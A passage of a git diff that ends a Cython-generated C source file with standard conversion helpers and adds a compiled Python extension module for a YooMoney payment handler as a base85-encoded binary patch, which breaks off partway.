__Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..27e7391be4cd8ca82c1f2dbabfe11c64df7f098b GIT binary patch literal 1045120 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 